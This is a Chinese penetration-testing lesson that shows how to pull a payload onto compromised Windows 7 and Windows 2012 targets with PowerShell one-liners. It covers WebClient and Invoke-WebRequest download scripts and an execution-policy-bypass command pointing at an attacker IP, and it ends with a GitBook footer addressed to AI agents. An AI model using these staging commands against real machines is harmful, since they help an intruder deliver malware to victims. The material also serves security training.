> For the complete documentation index, see [llms.txt](https://micro8.gitbook.io/micro8/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://micro8.gitbook.io/micro8/contents-1/41-50/46powershell-yi-ju-hua-xia-zai-payload.md).

# 第四十六课：powershell一句话下载payload

自 Windows7 以后内置了 powershell，如Windows 7 中内置了 PowerShell2.0, Windows 8 中内置了 PowerShell3.0。

**靶机：windows 7** powershell $PSVersionTable\
![](/files/-LZJws29lRjQ8mCK-EKF)

## down.ps1:

基于System.Net.WebClient\
![](/files/-LZJws2BeDL-vi0eK2Uy)

![](/files/-LZJws2D0sDdfUgLDRcP)

## 附：

```
$Urls = @()
$Urls += "http://192.168.1.115/robots.txt"
$OutPath = "E:\PDF\" 
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file) 
}
```

**靶机：windows 2012** powershell $PSVersionTable\
![](/files/-LZJws2F57MTVEmLMB0z)

## down.ps1:

在 powershell 3.0以后，提供 wget 功能，既 Invoke-WebRequest\
![](/files/-LZJws2HVXHzfWEADw32)

`C:\inetpub>powershell C:\inetpub\down.ps1`\
注：需要绝对路径。

![](/files/-LZJws2JmQXDlm9AO8d8)

![](/files/-LZJws2LWFihFZnuFjHu)

## 附：

```
$url = "http://192.168.1.115/robots.txt"
$output = "C:\inetpub\robots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"
```

**当然也可以一句话执行下载：**

```bash
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt')
```

![](/files/-LZJws2N_g2taTkxpf4J)

> Micropoor


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://micro8.gitbook.io/micro8/contents-1/41-50/46powershell-yi-ju-hua-xia-zai-payload.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
